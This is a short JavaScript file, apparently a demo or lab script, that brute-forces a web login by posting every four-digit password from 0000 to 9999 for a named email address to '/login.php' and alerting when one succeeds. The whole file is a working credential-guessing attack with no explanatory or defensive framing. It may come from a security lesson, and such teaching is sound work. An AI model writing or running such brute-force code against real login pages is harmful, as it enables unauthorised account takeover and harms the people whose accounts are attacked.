hack_it.js

const firstNumber = 0
const lastNumber  = 9999
const email = "lee@jungleacademy.com"

const tryToLogIn = async (email, passwordToTry) => {
	console.log(`[ATTEMPT] trying to log in with password ${passwordToTry}`)

	const response = await fetch(
		'/login.php', 
		{
			method: "POST",
			headers: {
				'Accept': 'application/json',
		    	'Content-Type': 'application/json',
			},
			body: JSON.stringify({
				email: email,
				password: passwordToTry,
			})
		}
	)

	const data = await response.json()

	if(data.errors.length) {
		console.log(`[FAIL] failed to login with ${passwordToTry}`)
		return false
	} else {
		console.log(`[SUCCESS] successful login with ${passwordToTry}`)
		return true
	}
}

const hackIt = async () => {
	for (
		var i = firstNumber; 
		i <= lastNumber; 
		i++
	) {
		const passwordToTry = i.toString().padStart(4, '0')

		const hackAttempt = await tryToLogIn(email, passwordToTry)

		if(hackAttempt) {
			alert(`HACK SUCCESSFUL! The password for ${email} is ${passwordToTry}`)
			break;
		}
	}
}

hackIt()